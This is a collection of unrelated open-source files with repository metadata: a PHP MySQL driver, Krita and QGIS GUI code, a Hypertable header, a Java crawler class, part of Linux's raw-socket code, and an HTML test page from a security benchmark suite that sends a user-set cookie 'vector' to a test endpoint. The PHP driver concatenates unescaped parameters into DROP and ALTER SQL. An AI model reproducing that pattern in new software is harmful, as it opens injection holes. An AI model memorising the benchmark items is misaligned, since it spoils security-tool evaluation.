$result = $this -> _query('DROP TABLE '.$params['tablename']);
return $result;
}
function _AddColumn($params) {
$result = FALSE;
if (!empty($params['tablename']) and !empty($params['columnformat']) and $this -> opened)
$result = $this -> _query('ALTER TABLE '.$params['tablename'].' ADD COLUMN '.$params['columnformat']);
return $result;
}
function _RemoveColumn($params) {
$result = FALSE;
if (!empty($params['tablename']) and !empty($params['column']) and $this -> opened)
$result = $this -> _query('ALTER TABLE '.$params['tablename'].' DROP COLUMN '.$params['column']);
return $result;
}
function _CreateSeq($params) {
$result = false;
if (!empty($params['name']) and !empty($params['start']) and $this -> opened) {
$result = $this -> Execute('CREATE TABLE _sequence_'.$params['name'].' (sequence INT DEFAULT 0 NOT NULL AUTO_INCREMENT, PRIMARY KEY (sequence))');
if ($result and ($params['start'] > 0))
$this -> Execute('INSERT INTO _sequence_'.$params['name'].' (sequence) VALUES ('. ($params['start'] - 1).')');
}
return $result;
}
function _CreateSeqQuery($params) {
$result = false;
if (!empty($params['name']) and !empty($params['start'])) {
$query = 'CREATE TABLE _sequence_'.$params['name'].' (sequence INT DEFAULT 0 NOT NULL AUTO_INCREMENT, PRIMARY KEY (sequence));';
if ($params['start'] > 0)
$query.= 'INSERT INTO _sequence_'.$params['name'].' (sequence) VALUES ('. ($params['start'] - 1).');';
return $query;
}
return $result;
}
function _DropSeq($params) {
if (!empty($params['name']))
return $this -> _query('DROP TABLE _sequence_'.$params['name']);
else
return false;
}
function _DropSeqQuery($params) {
if (!empty($params['name']))
return 'DROP TABLE _sequence_'.$params['name'].';';
else
return false;
}
function _CurrSeqValue($name) {
if (!empty($name)) {
$result = $this -> _query('SELECT MAX(sequence) FROM _sequence_'.$name);
return @ mysql_result($result, 0, 0);
} else
return false;
}
function _CurrSeqValueQuery($name) {
$result = false;
if (!empty($name)) {
$result = 'SELECT MAX(sequence) FROM _sequence_'.$name.';';
}
return $result;
}
function _NextSeqValue($name) {
if (!empty($name)) {
if ($this -> _query('INSERT INTO _sequence_'.$name.' (sequence) VALUES (NULL)')) {
$value = intval(mysql_insert_id($this -> dbhandler));
$this -> _query('DELETE FROM _sequence_'.$name.' WHERE sequence<'.$value);
}
return $value;
} else
return false;
}
// ----------------------------------------------------
//
// ----------------------------------------------------
Function GetTextFieldTypeDeclaration($name, & $field) {
return (((IsSet($field['length']) and ($field['length'] <= 255)) ? "$name VARCHAR (".$field["length"].")" : "$name TEXT"). (IsSet($field["default"]) ? " DEFAULT '".$field["default"]."'" : ""). (IsSet($field["notnull"]) ? " NOT NULL" : ""));
}
Function GetTextFieldValue($value) {
return ("'".AddSlashes($value)."'");
}
Function GetDateFieldTypeDeclaration($name, & $field) {
return ($name." DATE". (IsSet($field["default"]) ? " DEFAULT '".$field["default"]."'" : ""). (IsSet($field["notnull"]) ? " NOT NULL" : ""));
}
Function GetTimeFieldTypeDeclaration($name, & $field) {
return ($name." TIME". (IsSet($field["default"]) ? " DEFAULT '".$field["default"]."'" : ""). (IsSet($field["notnull"]) ? " NOT NULL" : ""));
}
Function GetFloatFieldTypeDeclaration($name, & $field) {
return ("$name FLOAT8 ". (IsSet($field["default"]) ? " DEFAULT ".$this -> GetFloatFieldValue($field["default"]) : ""). (IsSet($field["notnull"]) ? " NOT NULL" : ""));
}
Function GetDecimalFieldTypeDeclaration($name, & $field) {
return ("$name DECIMAL ". (IsSet($field["length"]) ? " (".$field["length"].") " : ""). (IsSet($field["default"]) ? " DEFAULT ".$this -> GetDecimalFieldValue($field["default"]) : ""). (IsSet($field["notnull"]) ? " NOT NULL" : ""));
}
Function GetFloatFieldValue($value) {
return (!strcmp($value, "NULL") ? "NULL" : "$value");
}
Function GetDecimalFieldValue($value) {
return (!strcmp($value, "NULL") ? "NULL" : strval(intval($value * $this -> decimal_factor)));
}
}
?>
|
alexpagnoni/ampoliros
|
var/classes/com/solarix/ampoliros/db/drivers/mysql/DBLayer_mysql.php
|
PHP
|
gpl-2.0
| 7,888
|
/*
* This file is part of the KDE project
*
* Copyright (c) 2005 Michael Thaler <michael.thaler@physik.tu-muenchen.de>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#include "kis_dropshadow_plugin.h"
#include <klocale.h>
#include <kiconloader.h>
#include <kcomponentdata.h>
#include <kmessagebox.h>
#include <kstandarddirs.h>
#include <kis_debug.h>
#include <kpluginfactory.h>
#include <kactioncollection.h>
#include "kis_view2.h"
#include "kis_types.h"
#include "kis_image.h"
#include "kis_paint_device.h"
#include "kis_layer.h"
#include "kis_statusbar.h"
#include "widgets/kis_progress_widget.h"
#include <KoColorSpace.h>
#include <KoProgressUpdater.h>
#include <KoUpdater.h>
#include "kis_dropshadow.h"
#include "dlg_dropshadow.h"
K_PLUGIN_FACTORY(KisDropshadowPluginFactory, registerPlugin<KisDropshadowPlugin>();)
K_EXPORT_PLUGIN(KisDropshadowPluginFactory("krita"))
KisDropshadowPlugin::KisDropshadowPlugin(QObject *parent, const QVariantList &)
: KParts::Plugin(parent)
{
if (parent->inherits("KisView2")) {
setXMLFile(KStandardDirs::locate("data", "kritaplugins/dropshadow.rc"), true);
m_view = (KisView2*) parent;
KAction *action = new KAction(i18n("Add Drop Shadow..."), this);
actionCollection()->addAction("dropshadow", action);
connect(action, SIGNAL(triggered()), this, SLOT(slotDropshadow()));
}
}
KisDropshadowPlugin::~KisDropshadowPlugin()
{
}
void KisDropshadowPlugin::slotDropshadow()
{
KisImageWSP image = m_view->image();
if (!image) return;
KisLayerSP layer = m_view->activeLayer();
if (!layer) return;
DlgDropshadow * dlgDropshadow = new DlgDropshadow(layer->colorSpace()->name(),
image->colorSpace()->name(),
m_view, "Dropshadow");
Q_CHECK_PTR(dlgDropshadow);
dlgDropshadow->setCaption(i18n("Drop Shadow"));
if (dlgDropshadow->exec() == QDialog::Accepted) {
KisDropshadow dropshadow(m_view);
KoProgressUpdater* updater = m_view->createProgressUpdater();
updater->start();
QPointer<KoUpdater> u = updater->startSubtask();
dropshadow.dropshadow(u,
dlgDropshadow->getXOffset(),
dlgDropshadow->getYOffset(),
dlgDropshadow->getBlurRadius(),
dlgDropshadow->getShadowColor(),
dlgDropshadow->getShadowOpacity(),
dlgDropshadow->allowResizingChecked());
updater->deleteLater();
}
delete dlgDropshadow;
}
#include "kis_dropshadow_plugin.moc"
|
wyuka/calligra
|
krita/plugins/extensions/dropshadow/kis_dropshadow_plugin.cc
|
C++
|
gpl-2.0
| 3,316
|
#ifndef QGSSYMBOLLAYERV2WIDGET_H
#define QGSSYMBOLLAYERV2WIDGET_H
#include <QWidget>
class QgsSymbolLayerV2;
class GUI_EXPORT QgsSymbolLayerV2Widget : public QWidget
{
Q_OBJECT
public:
QgsSymbolLayerV2Widget( QWidget* parent ) : QWidget( parent ) {}
virtual ~QgsSymbolLayerV2Widget() {}
virtual void setSymbolLayer( QgsSymbolLayerV2* layer ) = 0;
virtual QgsSymbolLayerV2* symbolLayer() = 0;
signals:
void changed();
};
///////////
#include "ui_widget_simpleline.h"
class QgsSimpleLineSymbolLayerV2;
class GUI_EXPORT QgsSimpleLineSymbolLayerV2Widget : public QgsSymbolLayerV2Widget, private Ui::WidgetSimpleLine
{
Q_OBJECT
public:
QgsSimpleLineSymbolLayerV2Widget( QWidget* parent = NULL );
static QgsSymbolLayerV2Widget* create() { return new QgsSimpleLineSymbolLayerV2Widget(); }
// from base class
virtual void setSymbolLayer( QgsSymbolLayerV2* layer );
virtual QgsSymbolLayerV2* symbolLayer();
public slots:
void penWidthChanged();
void colorChanged();
void penStyleChanged();
void offsetChanged();
void on_mCustomCheckBox_stateChanged( int state );
void on_mChangePatternButton_clicked();
protected:
QgsSimpleLineSymbolLayerV2* mLayer;
//creates a new icon for the 'change pattern' button
void updatePatternIcon();
};
///////////
#include "ui_widget_simplemarker.h"
class QgsSimpleMarkerSymbolLayerV2;
class GUI_EXPORT QgsSimpleMarkerSymbolLayerV2Widget : public QgsSymbolLayerV2Widget, private Ui::WidgetSimpleMarker
{
Q_OBJECT
public:
QgsSimpleMarkerSymbolLayerV2Widget( QWidget* parent = NULL );
static QgsSymbolLayerV2Widget* create() { return new QgsSimpleMarkerSymbolLayerV2Widget(); }
// from base class
virtual void setSymbolLayer( QgsSymbolLayerV2* layer );
virtual QgsSymbolLayerV2* symbolLayer();
public slots:
void setName();
void setColorBorder();
void setColorFill();
void setSize();
void setAngle();
void setOffset();
protected:
QgsSimpleMarkerSymbolLayerV2* mLayer;
};
///////////
#include "ui_widget_simplefill.h"
class QgsSimpleFillSymbolLayerV2;
class GUI_EXPORT QgsSimpleFillSymbolLayerV2Widget : public QgsSymbolLayerV2Widget, private Ui::WidgetSimpleFill
{
Q_OBJECT
public:
QgsSimpleFillSymbolLayerV2Widget( QWidget* parent = NULL );
static QgsSymbolLayerV2Widget* create() { return new QgsSimpleFillSymbolLayerV2Widget(); }
// from base class
virtual void setSymbolLayer( QgsSymbolLayerV2* layer );
virtual QgsSymbolLayerV2* symbolLayer();
public slots:
void setColor();
void setBorderColor();
void setBrushStyle();
void borderWidthChanged();
void borderStyleChanged();
void offsetChanged();
protected:
QgsSimpleFillSymbolLayerV2* mLayer;
};
///////////
#include "ui_widget_markerline.h"
class QgsMarkerLineSymbolLayerV2;
class GUI_EXPORT QgsMarkerLineSymbolLayerV2Widget : public QgsSymbolLayerV2Widget, private Ui::WidgetMarkerLine
{
Q_OBJECT
public:
QgsMarkerLineSymbolLayerV2Widget( QWidget* parent = NULL );
static QgsSymbolLayerV2Widget* create() { return new QgsMarkerLineSymbolLayerV2Widget(); }
// from base class
virtual void setSymbolLayer( QgsSymbolLayerV2* layer );
virtual QgsSymbolLayerV2* symbolLayer();
public slots:
void setInterval( double val );
void setMarker();
void setRotate();
void setOffset();
protected:
void updateMarker();
QgsMarkerLineSymbolLayerV2* mLayer;
};
///////////
#include "ui_widget_svgmarker.h"
class QgsSvgMarkerSymbolLayerV2;
class GUI_EXPORT QgsSvgMarkerSymbolLayerV2Widget : public QgsSymbolLayerV2Widget, private Ui::WidgetSvgMarker
{
Q_OBJECT
public:
QgsSvgMarkerSymbolLayerV2Widget( QWidget* parent = NULL );
static QgsSymbolLayerV2Widget* create() { return new QgsSvgMarkerSymbolLayerV2Widget(); }
// from base class
virtual void setSymbolLayer( QgsSymbolLayerV2* layer );
virtual QgsSymbolLayerV2* symbolLayer();
public slots:
void setName( const QModelIndex& idx );
void setSize();
void setAngle();
void setOffset();
protected:
void populateList();
QgsSvgMarkerSymbolLayerV2* mLayer;
};
///////////
#include "ui_widget_linedecoration.h"
class QgsLineDecorationSymbolLayerV2;
class GUI_EXPORT QgsLineDecorationSymbolLayerV2Widget : public QgsSymbolLayerV2Widget, private Ui::WidgetLineDecoration
{
Q_OBJECT
public:
QgsLineDecorationSymbolLayerV2Widget( QWidget* parent = NULL );
static QgsSymbolLayerV2Widget* create() { return new QgsLineDecorationSymbolLayerV2Widget(); }
// from base class
virtual void setSymbolLayer( QgsSymbolLayerV2* layer );
virtual QgsSymbolLayerV2* symbolLayer();
public slots:
void colorChanged();
protected:
QgsLineDecorationSymbolLayerV2* mLayer;
};
//////////
#include "ui_widget_svgfill.h"
class QgsSVGFillSymbolLayer;
class GUI_EXPORT QgsSVGFillSymbolLayerWidget : public QgsSymbolLayerV2Widget, private Ui::WidgetSVGFill
{
Q_OBJECT
public:
QgsSVGFillSymbolLayerWidget( QWidget* parent = NULL );
static QgsSymbolLayerV2Widget* create() { return new QgsSVGFillSymbolLayerWidget(); }
// from base class
virtual void setSymbolLayer( QgsSymbolLayerV2* layer );
virtual QgsSymbolLayerV2* symbolLayer();
protected:
QgsSVGFillSymbolLayer* mLayer;
//sets new output unit. Is called on combo box or spin box change
void setOutputUnit();
void insertIcons();
void updateOutlineIcon();
private slots:
void on_mBrowseToolButton_clicked();
void on_mTextureWidthSpinBox_valueChanged( double d );
void on_mSVGLineEdit_textChanged( const QString & text );
void setFile( const QModelIndex& item );
void on_mChangeOutlinePushButton_clicked();
};
//////////
#include "ui_widget_fontmarker.h"
class QgsFontMarkerSymbolLayerV2;
class CharacterWidget;
class GUI_EXPORT QgsFontMarkerSymbolLayerV2Widget : public QgsSymbolLayerV2Widget, private Ui::WidgetFontMarker
{
Q_OBJECT
public:
QgsFontMarkerSymbolLayerV2Widget( QWidget* parent = NULL );
static QgsSymbolLayerV2Widget* create() { return new QgsFontMarkerSymbolLayerV2Widget(); }
// from base class
virtual void setSymbolLayer( QgsSymbolLayerV2* layer );
virtual QgsSymbolLayerV2* symbolLayer();
public slots:
void setFontFamily( const QFont& font );
void setColor();
void setSize( double size );
void setAngle( double angle );
void setCharacter( const QChar& chr );
protected:
QgsFontMarkerSymbolLayerV2* mLayer;
CharacterWidget* widgetChar;
};
#endif
|
sourcepole/qgis
|
qgis/src/gui/symbology-ng/qgssymbollayerv2widget.h
|
C
|
gpl-2.0
| 6,671
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<script src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/js.cookie.js"></script>
<title>BenchmarkTest00085</title>
</head>
<body>
<form action="/benchmark/BenchmarkTest00085" method="POST" id="FormBenchmarkTest00085" >
<div><p>Here is the image you are looking for:  </p></div>
<div><img src="img/500px-Banner_stand.png" style="width: 20%; height: 20%" class="img-responsive" alt="Responsive image" onload="setCookie('vector','test',1)"></div>
<div><p>This page automatically generated the cookie named vector with the value displayed below,
if you want to generate a new cookie with a different value or use a specific vector, please
use the text box "Value" then press the "Generate cookie" button; once you have the value you can
press the "Test it!" to send the cookie.</p></div>
<div><label>Parameter: cookie vector<BR> Value:</label>
<input type="text" id="vector" name="vector" value="whatever"></input></div>
<div><input type="button" value="Generate cookie" onclick="setCookie('vector','',1)" id="cGenerator"/></div>
<br/>
<div><h5 id="cValue"></h5></div>
<div><input type="submit" value="Test it!" /></div>
</form>
</div>
<script>
function setCookie(cname, cvalue, exdays) {
document.cookie = cname + '=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
var d = new Date();
d.setTime(d.getTime() + (exdays*24*60*60*1000));
var expires = "expires="+d.toUTCString();
if(cvalue==''){
Cookies.set(cname, document.getElementById("vector").value, { version: 1 });
}else{
Cookies.set(cname, "whatever", { version: 1 });
}
document.getElementById("cValue").innerText = document.cookie;
}
</script>
</body>
</html>
|
ganncamp/Benchmark
|
src/main/webapp/BenchmarkTest00085.html
|
HTML
|
gpl-2.0
| 1,917
|
/** -*- c++ -*-
* Copyright (C) 2011 Hypertable, Inc.
*
* This file is part of Hypertable.
*
* Hypertable is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; version 2 of the
* License, or any later version.
*
* Hypertable is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
* 02110-1301, USA.
*/
#ifndef HYPERTABLE_REPLAYHANDLER_H
#define HYPERTABLE_REPLAYHANDLER_H
#include <boost/shared_ptr.hpp>
#include <boost/thread/condition.hpp>
#include <boost/thread/xtime.hpp>
#include <map>
#include "Common/Mutex.h"
#include "AsyncComm/DispatchHandler.h"
#include "AsyncComm/Comm.h"
#include "Hypertable/Lib/Types.h"
#include "Hypertable/Lib/RangeServerClient.h"
namespace Hypertable {
/**
*/
class ReplayDispatchHandler : public DispatchHandler {
public:
ReplayDispatchHandler(Comm *comm, int32_t timeout_ms, const String &location) :
m_rsclient(comm, timeout_ms), m_timeout_ms(timeout_ms), m_recover_location(location) { }
virtual void handle(EventPtr &event_ptr);
void add(const CommAddress &addr, const QualifiedRangeSpec &range,
uint32_t fragment, bool more, StaticBuffer &buffer);
void set_outstanding(size_t outstanding) {
ScopedLock lock(m_mutex);
m_outstanding = outstanding;
}
bool has_errors() {
ScopedLock lock(m_mutex);
return (m_range_errors.size()>0 || m_location_errors.size()>0);
}
void get_error_locations(vector<String> &locations);
void get_error_ranges(vector<QualifiedRangeSpec> &ranges);
void get_completed_ranges(set<QualifiedRangeSpec> &ranges);
bool wait_for_completion();
private:
Mutex m_mutex;
boost::condition m_cond;
RangeServerClient m_rsclient;
int32_t m_timeout_ms;
String m_recover_location;
size_t m_outstanding;
map<QualifiedRangeSpecManaged, int32_t> m_range_errors;
map<String, int32_t> m_location_errors;
set<QualifiedRangeSpecManaged> m_completed_ranges;
};
}
#endif // HYPERSPACE_REPLAYHANDLER_H
|
sjhalaz/hypertable
|
src/cc/Hypertable/RangeServer/ReplayDispatchHandler.h
|
C
|
gpl-2.0
| 2,502
|
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package cn.edu.hfut.dmic.webcollectorcluster.generator;
import cn.edu.hfut.dmic.webcollectorcluster.model.CrawlDatum;
import java.io.IOException;
import org.apache.hadoop.io.Text;
import org.apache.hadoop.mapred.RecordReader;
/**
*
* @author hu
*/
public class RecordGenerator implements Generator{
public RecordGenerator(RecordReader<Text, CrawlDatum> reader) {
this.reader = reader;
}
RecordReader<Text, CrawlDatum> reader;
@Override
public CrawlDatum next() {
Text text=new Text();
CrawlDatum datum=new CrawlDatum();
boolean hasMore;
try {
hasMore = reader.next(text, datum);
} catch (IOException ex) {
ex.printStackTrace();
return null;
}
if(hasMore)
return datum;
else
return null;
}
}
|
CrawlScript/WebCollectorCluster-Dev
|
WebCollectorCluster/src/main/java/cn/edu/hfut/dmic/webcollectorcluster/generator/RecordGenerator.java
|
Java
|
gpl-2.0
| 1,060
|
/*
* INET An implementation of the TCP/IP protocol suite for the LINUX
* operating system. INET is implemented using the BSD Socket
* interface as the means of communication with the user level.
*
* RAW - implementation of IP "raw" sockets.
*
* Version: $Id: raw.c,v 1.1.1.1 2010/03/11 21:07:21 kris Exp $
*
* Authors: Ross Biro
* Fred N. van Kempen, <waltje@uWalt.NL.Mugnet.ORG>
*
* Fixes:
* Alan Cox : verify_area() fixed up
* Alan Cox : ICMP error handling
* Alan Cox : EMSGSIZE if you send too big a packet
* Alan Cox : Now uses generic datagrams and shared
* skbuff library. No more peek crashes,
* no more backlogs
* Alan Cox : Checks sk->broadcast.
* Alan Cox : Uses skb_free_datagram/skb_copy_datagram
* Alan Cox : Raw passes ip options too
* Alan Cox : Setsocketopt added
* Alan Cox : Fixed error return for broadcasts
* Alan Cox : Removed wake_up calls
* Alan Cox : Use ttl/tos
* Alan Cox : Cleaned up old debugging
* Alan Cox : Use new kernel side addresses
* Arnt Gulbrandsen : Fixed MSG_DONTROUTE in raw sockets.
* Alan Cox : BSD style RAW socket demultiplexing.
* Alan Cox : Beginnings of mrouted support.
* Alan Cox : Added IP_HDRINCL option.
* Alan Cox : Skip broadcast check if BSDism set.
* David S. Miller : New socket lookup architecture.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*/
#include <linux/types.h>
#include <asm/atomic.h>
#include <asm/byteorder.h>
#include <asm/current.h>
#include <asm/uaccess.h>
#include <asm/ioctls.h>
#include <linux/stddef.h>
#include <linux/slab.h>
#include <linux/errno.h>
#include <linux/aio.h>
#include <linux/kernel.h>
#include <linux/spinlock.h>
#include <linux/sockios.h>
#include <linux/socket.h>
#include <linux/in.h>
#include <linux/mroute.h>
#include <linux/netdevice.h>
#include <linux/in_route.h>
#include <linux/route.h>
#include <linux/skbuff.h>
#include <net/net_namespace.h>
#include <net/dst.h>
#include <net/sock.h>
#include <linux/gfp.h>
#include <linux/ip.h>
#include <linux/net.h>
#include <net/ip.h>
#include <net/icmp.h>
#include <net/udp.h>
#include <net/raw.h>
#include <net/snmp.h>
#include <net/tcp_states.h>
#include <net/inet_common.h>
#include <net/checksum.h>
#include <net/xfrm.h>
#include <linux/rtnetlink.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
struct hlist_head raw_v4_htable[RAWV4_HTABLE_SIZE];
DEFINE_RWLOCK(raw_v4_lock);
static void raw_v4_hash(struct sock *sk)
{
struct hlist_head *head = &raw_v4_htable[inet_sk(sk)->num &
(RAWV4_HTABLE_SIZE - 1)];
write_lock_bh(&raw_v4_lock);
sk_add_node(sk, head);
sock_prot_inc_use(sk->sk_prot);
write_unlock_bh(&raw_v4_lock);
}
static void raw_v4_unhash(struct sock *sk)
{
write_lock_bh(&raw_v4_lock);
if (sk_del_node_init(sk))
sock_prot_dec_use(sk->sk_prot);
write_unlock_bh(&raw_v4_lock);
}
struct sock *__raw_v4_lookup(struct sock *sk, unsigned short num,
__be32 raddr, __be32 laddr,
int dif)
{
struct hlist_node *node;
sk_for_each_from(sk, node) {
struct inet_sock *inet = inet_sk(sk);
if (inet->num == num &&
!(inet->daddr && inet->daddr != raddr) &&
!(inet->rcv_saddr && inet->rcv_saddr != laddr) &&
!(sk->sk_bound_dev_if && sk->sk_bound_dev_if != dif))
goto found; /* gotcha */
}
sk = NULL;
found:
return sk;
}
/*
* 0 - deliver
* 1 - block
*/
static __inline__ int icmp_filter(struct sock *sk, struct sk_buff *skb)
{
int type;
if (!pskb_may_pull(skb, sizeof(struct icmphdr)))
return 1;
type = icmp_hdr(skb)->type;
if (type < 32) {
__u32 data = raw_sk(sk)->filter.data;
return ((1 << type) & data) != 0;
}
/* Do not block unknown ICMP types */
return 0;
}
/* IP input processing comes here for RAW socket delivery.
* Caller owns SKB, so we must make clones.
*
* RFC 1122: SHOULD pass TOS value up to the transport layer.
* -> It does. And not only TOS, but all IP header.
*/
int raw_v4_input(struct sk_buff *skb, struct iphdr *iph, int hash)
{
struct sock *sk;
struct hlist_head *head;
int delivered = 0;
read_lock(&raw_v4_lock);
head = &raw_v4_htable[hash];
if (hlist_empty(head))
goto out;
sk = __raw_v4_lookup(__sk_head(head), iph->protocol,
iph->saddr, iph->daddr,
skb->dev->ifindex);
while (sk) {
delivered = 1;
if (iph->protocol != IPPROTO_ICMP || !icmp_filter(sk, skb)) {
struct sk_buff *clone = skb_clone(skb, GFP_ATOMIC);
/* Not releasing hash table! */
if (clone)
raw_rcv(sk, clone);
}
sk = __raw_v4_lookup(sk_next(sk), iph->protocol,
iph->saddr, iph->daddr,
skb->dev->ifindex);
}
out:
read_unlock(&raw_v4_lock);
return delivered;
}
void raw_err (struct sock *sk, struct sk_buff *skb, u32 info)
{
struct inet_sock *inet = inet_sk(sk);
const int type = icmp_hdr(skb)->type;
const int code = icmp_hdr(skb)->code;
int err = 0;
int harderr = 0;
/* Report error on raw socket, if:
1. User requested ip_recverr.
2. Socket is connected (otherwise the error indication
is useless without ip_recverr and error is hard.
*/
if (!inet->recverr && sk->sk_state != TCP_ESTABLISHED)
return;
switch (type) {
default:
case ICMP_TIME_EXCEEDED:
err = EHOSTUNREACH;
break;
case ICMP_SOURCE_QUENCH:
return;
case ICMP_PARAMETERPROB:
err = EPROTO;
harderr = 1;
break;
case ICMP_DEST_UNREACH:
err = EHOSTUNREACH;
if (code > NR_ICMP_UNREACH)
break;
err = icmp_err_convert[code].errno;
harderr = icmp_err_convert[code].fatal;
if (code == ICMP_FRAG_NEEDED) {
harderr = inet->pmtudisc != IP_PMTUDISC_DONT;
err = EMSGSIZE;
}
}
if (inet->recverr) {
struct iphdr *iph = (struct iphdr*)skb->data;
u8 *payload = skb->data + (iph->ihl << 2);
if (inet->hdrincl)
payload = skb->data;
ip_icmp_error(sk, skb, err, 0, info, payload);
}
if (inet->recverr || harderr) {
sk->sk_err = err;
sk->sk_error_report(sk);
}
}
static int raw_rcv_skb(struct sock * sk, struct sk_buff * skb)
{
/* Charge it to the socket. */
if (sock_queue_rcv_skb(sk, skb) < 0) {
/* FIXME: increment a raw drops counter here */
kfree_skb(skb);
return NET_RX_DROP;
}
return NET_RX_SUCCESS;
}
int raw_rcv(struct sock *sk, struct sk_buff *skb)
{
if (!xfrm4_policy_check(sk, XFRM_POLICY_IN, skb)) {
kfree_skb(skb);
return NET_RX_DROP;
}
nf_reset(skb);
skb_push(skb, skb->data - skb_network_header(skb));
raw_rcv_skb(sk, skb);
return 0;
}
static int raw_send_hdrinc(struct sock *sk, void *from, size_t length,
struct rtable *rt,
unsigned int flags)
{
struct inet_sock *inet = inet_sk(sk);
int hh_len;
struct iphdr *iph;
struct sk_buff *skb;
unsigned int iphlen;
int err;
if (length > rt->u.dst.dev->mtu) {
ip_local_error(sk, EMSGSIZE, rt->rt_dst, inet->dport,
rt->u.dst.dev->mtu);
return -EMSGSIZE;
}
if (flags&MSG_PROBE)
goto out;
hh_len = LL_RESERVED_SPACE(rt->u.dst.dev);
skb = sock_alloc_send_skb(sk, length+hh_len+15,
flags&MSG_DONTWAIT, &err);
if (skb == NULL)
goto error;
skb_reserve(skb, hh_len);
skb->priority = sk->sk_priority;
skb->dst = dst_clone(&rt->u.dst);
skb_reset_network_header(skb);
iph = ip_hdr(skb);
skb_put(skb, length);
skb->ip_summed = CHECKSUM_NONE;
skb->transport_header = skb->network_header;
err = memcpy_fromiovecend((void *)iph, from, 0, length);
if (err)
goto error_fault;
/* We don't modify invalid header */
iphlen = iph->ihl * 4;
if (iphlen >= sizeof(*iph) && iphlen <= length) {
if (!iph->saddr)
iph->saddr = rt->rt_src;
iph->check = 0;
iph->tot_len = htons(length);
if (!iph->id)
ip_select_ident(iph, &rt->u.dst, NULL);
iph->check = ip_fast_csum((unsigned char *)iph, iph->ihl);
}
if (iph->protocol == IPPROTO_ICMP)
icmp_out_count(((struct icmphdr *)
skb_transport_header(skb))->type);
err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, rt->u.dst.dev,
dst_output);
if (err > 0)
err = inet->recverr ? net_xmit_errno(err) : 0;
if (err)
goto error;
out:
return 0;
error_fault:
err = -EFAULT;
kfree_skb(skb);
error:
IP_INC_STATS(IPSTATS_MIB_OUTDISCARDS);
return err;
}
static int raw_probe_proto_opt(struct flowi *fl, struct msghdr *msg)
{
struct iovec *iov;
u8 __user *type = NULL;
u8 __user *code = NULL;
int probed = 0;
unsigned int i;
if (!msg->msg_iov)
return 0;
for (i = 0; i < msg->msg_iovlen; i++) {
iov = &msg->msg_iov[i];
if (!iov)
continue;
switch (fl->proto) {
case IPPROTO_ICMP:
/* check if one-byte field is readable or not. */
if (iov->iov_base && iov->iov_len < 1)
break;
if (!type) {
type = iov->iov_base;
/* check if code field is readable or not. */
if (iov->iov_len > 1)
code = type + 1;
} else if (!code)
code = iov->iov_base;
if (type && code) {
if (get_user(fl->fl_icmp_type, type) ||
get_user(fl->fl_icmp_code, code))
return -EFAULT;
probed = 1;
}
break;
default:
probed = 1;
break;
}
if (probed)
break;
}
return 0;
}
static int raw_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,
size_t len)
{
struct inet_sock *inet = inet_sk(sk);
struct ipcm_cookie ipc;
struct rtable *rt = NULL;
int free = 0;
__be32 daddr;
__be32 saddr;
u8 tos;
int err;
err = -EMSGSIZE;
if (len > 0xFFFF)
goto out;
/*
* Check the flags.
*/
err = -EOPNOTSUPP;
if (msg->msg_flags & MSG_OOB) /* Mirror BSD error message */
goto out; /* compatibility */
/*
* Get and verify the address.
*/
if (msg->msg_namelen) {
struct sockaddr_in *usin = (struct sockaddr_in*)msg->msg_name;
err = -EINVAL;
if (msg->msg_namelen < sizeof(*usin))
goto out;
if (usin->sin_family != AF_INET) {
static int complained;
if (!complained++)
printk(KERN_INFO "%s forgot to set AF_INET in "
"raw sendmsg. Fix it!\n",
current->comm);
err = -EAFNOSUPPORT;
if (usin->sin_family)
goto out;
}
daddr = usin->sin_addr.s_addr;
/* ANK: I did not forget to get protocol from port field.
* I just do not know, who uses this weirdness.
* IP_HDRINCL is much more convenient.
*/
} else {
err = -EDESTADDRREQ;
if (sk->sk_state != TCP_ESTABLISHED)
goto out;
daddr = inet->daddr;
}
ipc.addr = inet->saddr;
ipc.opt = NULL;
ipc.oif = sk->sk_bound_dev_if;
if (msg->msg_controllen) {
err = ip_cmsg_send(msg, &ipc);
if (err)
goto out;
if (ipc.opt)
free = 1;
}
saddr = ipc.addr;
ipc.addr = daddr;
if (!ipc.opt)
ipc.opt = inet->opt;
if (ipc.opt) {
err = -EINVAL;
/* Linux does not mangle headers on raw sockets,
* so that IP options + IP_HDRINCL is non-sense.
*/
if (inet->hdrincl)
goto done;
if (ipc.opt->srr) {
if (!daddr)
goto done;
daddr = ipc.opt->faddr;
}
}
tos = RT_CONN_FLAGS(sk);
if (msg->msg_flags & MSG_DONTROUTE)
tos |= RTO_ONLINK;
if (MULTICAST(daddr)) {
if (!ipc.oif)
ipc.oif = inet->mc_index;
if (!saddr)
saddr = inet->mc_addr;
}
{
struct flowi fl = { .oif = ipc.oif,
.nl_u = { .ip4_u =
{ .daddr = daddr,
.saddr = saddr,
.tos = tos } },
.proto = inet->hdrincl ? IPPROTO_RAW :
sk->sk_protocol,
};
if (!inet->hdrincl) {
err = raw_probe_proto_opt(&fl, msg);
if (err)
